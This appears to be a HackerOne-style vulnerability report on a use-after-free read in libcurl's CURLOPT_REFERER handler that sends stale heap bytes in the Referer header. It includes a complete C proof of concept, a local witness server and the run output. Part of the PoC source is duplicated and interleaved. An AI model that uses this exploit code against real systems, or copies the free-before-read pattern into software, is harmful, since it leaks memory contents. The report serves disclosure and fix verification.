curl · Report #4064040
Use-after-free read of the freed referer buffer in `curl_easy_setopt(CURLOPT_REFERER)` — stale heap bytes transmitted in an outbound `Referer:` heade
How it was found
(CWE-416 → CWE-908/CWE-200)
Aset yang terdampak (Affected Asset)
- Component: libcurl —
lib/setopt.c,CURLOPT_REFERERhandler (curl_easy_setoptAPI) - Related code paths:
lib/bufref.c(Curl_bufref_free),CURLINFO_REFERERgetter (lib/getinfo.c:145), referer emission (lib/http.c:2941-2945), pretransfer sync (lib/transfer.c:511-512) - Affected versions: libcurl from
ff300ac4aa546748b27415e7fd2527315435ef8e(2026-06-01, "setopt: defref the old referer when setting a new") up to, but not including,d02476899f22f851729b6c95290bc73a22a3383d(2026-08-27, "setopt: allow setting a referer from CURLINFO_REFERER", verified by test 2397). - Release mapping (verified 2026-09-27 via GitHub compare API): tag
curl-8_21_0(2026-06-24) contains the vulnerable commit and not the fix → curl 8.21.0 is affected. Tagcurl-8_22_0(2026-09-02) contains the fix → not affected. No other tagged release falls inside the window. Master afterd0247689and any build carrying the backport are not affected.
Weakness
CWE-416 (Use After Free), with consequence CWE-908 (Use of Uninitialized Resource) / CWE-200 (Exposure of Sensitive Information to an Unauthorized Actor): stale heap bytes copied into an outbound HTTP header.
Severity
- Original triage outcome (HackerOne #3971462, filed 2026-09-15): Informative.
The trigger is an application-side pointer round-trip
(
getinfo(CURLINFO_REFERER)→setopt(CURLOPT_REFERER, same pointer)); the curl CLI cannot trigger it (verified viacurl --libcurl). This document accepts that outcome and is the formatted verification record of the finding — not a request to reopen. - Independent assessment: Low. The memory error itself is real and deterministic (reproduced under ASan and on the wire in plain builds, on two architectures), but exploitation requires the application-side composition above. A tagged release is inside the window (curl 8.21.0), which is the actionable part for maintainers.
Description
Commit ff***ac4aa introduced a free-before-read ordering in the CURLOPT_REFERER
handler:
/* ff300ac4aa (vulnerable): free BEFORE read */
case CURLOPT_REFERER:
Curl_bufref_free(&data->state.referer); /* frees */
result = Curl_setstropt(&s->str[STRING_SET_REFERER], ptr); /* strlen(ptr) → UAF */
break;
CURLINFO_REFERER returns Curl_bufref_ptr(&data->state.referer) directly
(getinfo.c:145). When the application passes that pointer back to setopt on the
same handle, ptr aliases the buffer just freed, and Curl_setstropt reads it
(strlen, setopt.c:90). The copied bytes then reach the wire: pretransfer syncs
STRING_SET_REFERER into state.referer (transfer.c:511-512) and the request
builder emits Referer: %s from it (http.c:2941-2945).
Measured mechanism of the leak: under glibc tcache, the freed chunk holds allocator
metadata written by free() itself. A MALLOC_PERTURB_ marker experiment
(x86-64, glibc 2.35: scrub bytes 0xAA/0x55) showed the leaked bytes do not
repaint to the marker — proving they are post-free allocator writes (tcache fd/key,
safe-linking-mangled on glibc ≥ 2.32), never stale payload and never valid string data.
Fixed upstream by d0247689 with store-then-free ordering and the explicit comment
"free the old after the storing the new in case the input is actually pointing back to
this", plus regression test 2397 (301 redirect then a second request; asserts the
round-tripped Referer arrives intact). The original report was filed 19 days after the
fix was public; its Informative outcome is consistent with that.
Summary:
A use-after-free read exists in the CURLOPT_REFERER handler of libcurl between
ff300ac4aa (2026-06-01) and d0247689 (2026-08-27, exclusive): the handler frees the
referer buffer before copying the new value, and CURLINFO_REFERER hands out a pointer
into that buffer, so round-tripping the getter's pointer back into the setter on the
same handle makes Curl_setstropt read freed memory. In plain builds the read returns
post-free tcache metadata, which libcurl then transmits in the outgoing Referer:
header — measured on the wire on two architectures (aarch64 glibc 2.43: 5 deterministic
bytes; x86-64 glibc 2.35: 6 varying bytes), no crash, exit 0. Exactly one tagged release
sits inside the window (curl 8.21.0). Upstream fixed it on 2026-08-27 with d0247689 +
test 2397. HackerOne #3971462 was closed Informative; this is the verification record
of that finding.
Steps To Reproduce:
-
Check out libcurl at
ff***ac4aaand build a plain (non-sanitizer) shared library:cmake -S src -B build-plain -DBUILD_SHARED_LIBS=ON -DBUILD_TESTING=OFF -DBUILD_CURL_EXE=OFF -DCURL_USE_LIBPSL=OFF -DCURL_USE_OPENSSL=OFF -DCMAKE_C_FLAGS="-g -O1" && cmake --build build-plain(repeat with-fsanitize=addressfor the sanitizer leg). -
Start the witness server (
poc/server.py):GET /rreturns 301 to/f;GET /fprints the exactReferer:bytes it receives. -
In the client (
poc/poc.c), on one easy handle: performGET /rwithCURLOPT_FOLLOWLOCATION | CURLOPT_AUTOREFERER(fillsstate.refereron the redirect), then round-trip the getter pointer into the setter:char *ref = NULL; curl_easy_getinfo(curl, CURLINFO_REFERER, &ref); /* pointer into state.referer */ curl_easy_setopt(curl, CURLOPT_REFERER, ref); /* frees it, then strlen reads it */ -
Perform a second transfer to
/f— the witness prints what arrived on the wire. -
Control path (fresh string, no aliasing) is clean on the same build; the same two-path harness against master (contains
d0247689+ test 2397) is clean on both paths, exit 0. Ashapedvariant adds a same-sizemalloc(24)/freebefore setopt to document heap-state dependence.
Proof of Concept:
Harness: poc/poc.c (dual-path: control | aliased | shaped) + poc/server.py /
poc/server_hex.py (redirect chain + wire witness, prints exact received bytes).
Builds and runs verified on two environments:
| Build / path | aarch64, Kali/Termux proot, glibc 2.43 | x86-64, Ubuntu 22.04, glibc 2.35 |
|---|---|---|
ff300ac4aa + ASan, control | n/a (ASan cannot run under proot: shadow-memory mapping fails) | clean — referer intact |
ff300ac4aa + ASan, aliased | n/a | deterministic heap-use-after-free — READ strlen in Curl_setstropt (setopt.c:90) via curl_easy_setopt ← setopt_cptr (setopt.c:2028); FREED by Curl_bufref_free (bufref.c:61) via bufref dtor |
ff300ac4aa plain, control | clean — witness receives the exact set referer | clean |
ff300ac4aa plain, aliased | exit 0, no crash — witness receives 5 non-string heap bytes 06 ** 02 ** 30 in Referer: | exit 0 — witness receives 6 varying non-string heap bytes |
ff300ac4aa plain, shaped | same 5 bytes (10/10) | different bytes per run — content is heap-state dependent |
master HEAD (d0247689 + test 2397) | — | clean on both paths, exit 0 |
Key measured facts:
- On-wire disclosure: stale bytes are actually transmitted, not merely readable —
witness logs in
evidence/poc_wire_plain_output.txt. - Determinism is a property of process layout, not of the mechanism: under proot
(fixed mappings — verified: 3/3 separate process launches produce identical heap and
text addresses,
evidence/layout_determinism.txt) the leaked bytes are identical 10/10 runs in both arms (evidence/leak_determinism_hex.txt,evidence/leak_shaped_10runs.txt); under active ASLR (x86-64) every run differs. - Metadata, not payload:
MALLOC_PERTURB_=85/170does not repaint the leaked bytes → they are written after the free-scrub, i.e. byfree()itself (tcachefd/key, safe-linking-mangled). By construction never valid string data. - No other affected handler: a sweep of every
Curl_bufref_freecall site insetopt.cat the vulnerable revision found exactly one free→read violation (referer);CURLOPT_CURLUis free→store (safe).CURLINFO_EFFECTIVE_URL(getinfo.c:90) shares the aliasing hazard but no curl-internal path reads the stale pointer — no UAF inside curl from that getter.
Recommended Fix:
- Upstream/libcurl: already fixed by
d0247689(2026-08-27) — store-then-free ordering, regression coverage in test 2397 /lib2397.c. Packagers of curl 8.21.0 (the one affected tagged release) should backportd0247689(small, carries the test) or rebuild from 8.22.0. - Application-level mitigation:
strduptheCURLINFO_REFERERvalue before passing it toCURLOPT_REFERER; avoid reusing getinfo pointers as setopt inputs generally. - Pattern audit: other setopt handlers built on
Curl_bufref_free+Curl_setstroptdeserve the same ordering check. This audit was performed at the vulnerable revision: 2 call sites, 1 violation (referer),CURLOPT_CURLUsafe.
Supporting Material/References:
evidence/poc_wire_plain_output.txt— witness log, stale bytes received on the wire (aarch64 plain build)evidence/leak_determinism_10runs.txt+leak_determinism_hex.txt— 10/10 identical leaks06 66 02 03 30(aliased, aarch64)evidence/leak_shaped_10runs.txt— heap-shaped arm, same bytesevidence/layout_determinism.txt— 3/3 identical process layouts under prootevidence/poc_vuln_commit_output.txt— ASan transcript atff300ac4aa(x86-64)evidence/poc_fixed_head_output.txt— clean transcript at master HEAD- Commits:
ff300ac4aa546748b27415e7fd2527315435ef8e(introduces, 2026-06-01),d02476899f22f851729b6c95290bc73a22a3383d(fixes, 2026-08-27); fix references #22709 (closed as PR without merge — the fix commit carries "Closes #22709") - Regression test:
tests/data/test2397+tests/libtest/lib2397.c(301 redirect, round-tripped Referer asserted intact) - Related prior report: HackerOne #3774279 (referer dangling-read, same API family)
- Original submission: HackerOne #3971462 (closed Informative, 2026-09-15)
PoC
┌──(root㉿localhost)-[/tmp/curlpoc] └─# cat > /tmp/curlpoc/poc_allinone.c <<'EOF'
/* poc_allinone.c - CURLOPT_REFERER use-after-free PoC (libcurl ff300ac4aa)
- All-in-one: embedded HTTP witness (thread) + dual-arm libcurl client. NREQ; i++) { int fd = accept(ls, (struct sockaddr *)&c, &cl); char buf[4096]; size_t got = 0; while(got < sizeof(buf) - 1) { ssize_t n = recv(fd, buf + got, sizeof(buf) - 1 - got, 0); if(n <= 0) break; got += (size_t)n; if(memmem(buf, got, "\r\n\r\n", 4)) break; } buf[got] = 0; w[i].len = 0; w[i].ref[0] = 0; for(char *p = buf; p && *p; p = (strstr(p, "\r\n") ? strstr(p, "\r\n") + 2 : NULL)) { if(!strncmp(p, "\r\n", 2)) break; if(!strncasecmp(p, "Referer:", 8)) { char *eol = strstr(p, "\r\n"); char *v = p + 8; while(*v == ' ') v++; size_t l = eol ? (size_t)(eol - v) : strlen(v); if(l >= sizeof(w[i].ref)) l = sizeof(w[i].ref) - 1; memcpy(w[i].ref, v, l); w[i].ref[l] = 0; w[i].len = (int)l; break; } } if(!strncmp(buf, "GET /r", 6)) dprintf(fd, "HTTP/1.1 301 Moved Permanently\r\nLocation: /f\r\n" "Content-Length: 0\r\nConnection: close\r\n\r\n"); else > * One file, one build, one run - prints a LEAK/CLEAN verdict itself. */ #define _GNU_SOURCE h, CURLOPT_URL, url); curl_easy_setopt(h, CURLOPT_FOLLOWLOCATION, 0L); rc = curl_easy_perform(h); printf("=== ARM %-8s final perform=%d\n", name, rc); curl_easy_cleanup(h); }
static void dump(int i, const char *label) { printf("[%d] %-11s len=%d raw="", i, label, w[i].len); for(int j = 0; j < w[i].len; j++) putchar(isprint((unsigned char)w[i].ref[j]) ? w[i].ref[j] : '.'); print> #include <ctype.h> sched_yield(); printf("witness listening on 127.0.0.1:%d\n", port); curl_global_init(CURL_GLOBAL_DEFAULT);
arm("control", 0); arm("aliased", 1);
pthread_join(t, NULL); curl_global_cleanup();
printf("\n=== WITNESS SUMMARY ===\n"); dump(0, "ctrl /r"); dump(1, "ctrl auto"); dump(2, "ctrl FINAL"); dump(3> #include <pthread.h>
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <arpa/inet.h> #include <sys/socket.h> #include <curl/curl.h>
#define NREQ 6 static volatile int port = 0; static struct { char ref[512]; int len; } w[NREQ];
static void *witness(void *arg) { (void)arg; int ls = socket(AF_INET, SOCK_STREAM, 0); int one = 1; setsockopt(ls, SOL_SOCKET, SO_REUSEADDR, &one, sizeof one); struct sockaddr_in a = {0}, c; socklen_t cl = sizeof c, al = sizeof a; a.sin_family = AF_INET; a.sin_addr.s_addr = htonl(0x7f000001); a.sin_port = 0; if(bind(ls, (struct sockaddr *)&a, sizeof a) < 0) { perror("bind"); return NULL; } listen(ls, 8); getsockname(ls, (struct sockaddr *)&a, &al); port = ntohs(a.sin_port);
for(int i = 0; i < NREQ; i++) { int fd = accept(ls, (struct sockaddr *)&c, &cl); char buf[4096]; size_t got = 0; while(got < sizeof(buf) - 1) { ssize_t n = recv(fd, buf + got, sizeof(buf) - 1 - got, 0); if(n <= 0) break; got += (size_t)n; if(memmem(buf, got, "\r\n\r\n", 4)) break; } buf[got] = 0; w[i].len = 0; w[i].ref[0] = 0; for(char *p = buf; p && *p; p = (strstr(p, "\r\n") ? strstr(p, "\r\n") + 2 : NULL)) { if(!strncmp(p, "\r\n", 2)) break; if(!strncasecmp(p, "Referer:", 8)) { char *eol = strstr(p, "\r\n"); char *v = p + 8; while(*v == ' ') v++; size_t l = eol ? (size_t)(eol - v) : strlen(v); if(l >= sizeof(w[i].ref)) l = sizeof(w[i].ref) - 1; memcpy(w[i].ref, v, l); w[i].ref[l] = 0; w[i].len = (int)l; break; } } if(!strncmp(buf, "GET /r", 6)) dprintf(fd, "HTTP/1.1 301 Moved Permanently\r\nLocation: /f\r\n" "Content-Length: 0\r\nConnection: close\r\n\r\n"); else dprintf(fd, "HTTP/1.1 200 OK\r\nContent-Length: 2\r\nConnection: close\r\n\r\nok"); close(fd); } close(ls); return NULL; }
static size_t sink(char *p, size_t s, size_t n, void *u) { (void)p; (void)u; return s * n; }
static void arm(const char *name, int aliased) { CURL h = curl_easy_init(); char url[256]; snprintf(url, sizeof url, "http://127.0.0.1:%d/r", port); curl_easy_setopt(h, CURLOPT_URL, url); curl_easy_setopt(h, CURLOPT_FOLLOWLOCATION, 1L); curl_easy_setopt(h, CURLOPT_AUTOREFERER, 1L); / fills state.referer on redirect */> curl_easy_setopt(h, CURLOPT_WRITEFUNCTION, sink); curl_easy_setopt(h, CURLOPT_NOSIGNAL, 1L); CURLcode rc = curl_easy_perform(h);
char *ref = NULL; curl_easy_getinfo(h, CURLINFO_REFERER, &ref); printf("\n=== ARM %-8s perform=%d referer=%p '%s'\n", name, rc, (void )ref, ref ? ref : "(null)"); if(aliased) { printf("=== ARM %-8s setopt(CURLOPT_REFERER, getter ptr) <-- aliasing\n", name);> curl_easy_setopt(h, CURLOPT_REFERER, ref); / handler frees, then strlen reads */ } else { printf("=== ARM %-8s setopt(CURLOPT_REFERER, fresh string)\n", name); curl_easy_setopt(h, CURLOPT_REFERER, "http://control.example/fresh"); } snprintf(url, sizeof url, "http://127.0.0.1:%d/f", port); curl_easy_setopt(h, CURLOPT_URL, url); curl_easy_setopt(h, CURLOPT_FOLLOWLOCATION, 0L); rc = curl_easy_perform(h); printf("=== ARM %-8s final perform=%d\n", name, rc); curl_easy_cleanup(h); }
static void dump(int i, const char *label) { printf("[%d] %-11s len=%d raw="", i, label, w[i].len); for(int j = 0; j < w[i].len; j++) putchar(isprint((unsigned char)w[i].ref[j]) ? w[i].ref[j] : '.'); printf("" hex="); for(int j = 0; j < w[i].len; j++) printf("%02x ", (unsigned char)w[i].ref[j]); printf("\n"); }
int main(void) { pthread_t t; pthread_create(&t, NULL, witness, NULL); while(!port) sched_yield(); printf("witness listening on 127.0.0.1:%d\n", port); curl_global_init(CURL_GLOBAL_DEFAULT);
arm("control", 0); arm("aliased", 1);
pthread_join(t, NULL); curl_global_cleanup();
printf("\n=== WITNESS SUMMARY ===\n"); dump(0, "ctrl /r"); dump(1, "ctrl auto"); dump(2, "ctrl FINAL"); dump(3, "alias /r"); dump(4, "alias auto"); dump(5, "alias FINAL");
int ctrl_ok = !strcmp(w[2].ref, "http://control.example/fresh"); int binary = 0; for(int j = 0; j < w[5].len; j++) if(!isprint((unsigned char)w[5].ref[j])) binary = 1; int differs = strcmp(w[5].ref, w[4].ref) != 0;
printf("\n=== VERDICT ===\n"); printf("control FINAL intact ............ %s\n", ctrl_ok ? "YES" : "NO"); printf("aliased FINAL non-ASCII heap bytes: %s\n", binary ? "YES" : "no"); printf("aliased FINAL != legit referer .. %s\n", differs ? "YES" : "no"); if(ctrl_ok && binary && differs) printf("\nRESULT: LEAK - stale heap bytes transmitted in Referer: (UAF confirmed, " "not a harness artifact: identical client/server, only the setopt input " "differs between arms)\n"); else if(ctrl_ok && !binary) printf("\nRESULT: no non-string leak this run (allocator-state dependent) - rerun, " "or use the ASan build for the deterministic memory-level proof\n"); else printf("\nRESULT: unexpected - inspect output\n"); return 0; } EOF
┌──(root㉿localhost)-[/tmp/curlpoc] └─# gcc poc_allinone.c -Isrc/include -Ibuild-plain/include -Lbuild-plain/lib -lcurl \
-Wl,-rpath,$PWD/build-plain/lib -lpthread -g -O1 -o poc_allinone
┌──(root㉿localhost)-[/tmp/curlpoc] └─# LD_LIBRARY_PATH=build-plain/lib ./poc_allinone \
| tee /root/codebase/curl_referer_uaf/evidence/poc_allinone_output.txt witness listening on 127.0.0.1:44239
=== ARM control perform=0 referer=0x3000026670 'http://127.0.0.1:44239/r' === ARM control setopt(CURLOPT_REFERER, fresh string) === ARM control final perform=0
=== ARM aliased perform=0 referer=0x3000026560 'http://127.0.0.1:44239/r' === ARM aliased setopt(CURLOPT_REFERER, getter ptr) <-- aliasing === ARM aliased final perform=0
=== WITNESS SUMMARY === [0] ctrl /r len=0 raw="" hex= [1] ctrl auto len=24 raw="http://127.0.0.1:44239/r" hex=68 74 74 70 3a 2f 2f 31 32 37 2e 30 2e 30 2e 31 3a 34 34 32 33 39 2f 72 [2] ctrl FINAL len=28 raw="http://control.example/fresh" hex=68 74 74 70 3a 2f 2f 63 6f 6e 74 72 6f 6c 2e 65 78 61 6d 70 6c 65 2f 66 72 65 73 68 [3] alias /r len=0 raw="" hex= [4] alias auto len=24 raw="http://127.0.0.1:44239/r" hex=68 74 74 70 3a 2f 2f 31 32 37 2e 30 2e 30 2e 31 3a 34 34 32 33 39 2f 72 [5] alias FINAL len=5 raw=".h..0" hex=86 68 02 03 30
=== VERDICT === control FINAL intact ............ YES aliased FINAL non-ASCII heap bytes: YES aliased FINAL != legit referer .. YES
RESULT: LEAK - stale heap bytes transmitted in Referer: (UAF confirmed, not a harness artifact: identical client/server, only the setopt input differs between arms)
┌──(root㉿localhost)-[/tmp/curlpoc] └─# ┌──(root㉿localhost)-[/tmp/curlpoc] └─#
Impact
Customer Impact:
An application that round-trips the CURLINFO_REFERER pointer into CURLOPT_REFERER
causes libcurl to copy stale heap bytes into the outgoing Referer: header, disclosing
them to every server the subsequent request reaches — measured live, no crash. The
bytes are allocator metadata (tcache fd/key, ASLR material); if an application
allocates between the getinfo and setopt calls, the freed chunk can be reclaimed with
attacker-influenced content, upgrading the leak to content disclosure (variant not
exercised). Exposure is limited to libcurl builds from the affected window —
notably curl 8.21.0 — and to applications performing this specific round-trip; the
curl CLI cannot trigger it.
Business Impact:
Minimal as an open vulnerability: the bug was fixed upstream 19 days before the
original report was filed, and exactly one tagged release (8.21.0, 2026-06-24) ships
inside the window, so remediation is a single backport decision for affected
maintainers. The durable value of this document is the verified commit-and-release
window plus the mechanism-grade evidence (two-architecture wire reproduction,
MALLOC_PERTURB_ attribution, empirical layout-determinism) and the closed pattern
audit — suitable for a distro security note referencing d0247689, or as an
end-to-end verification case study.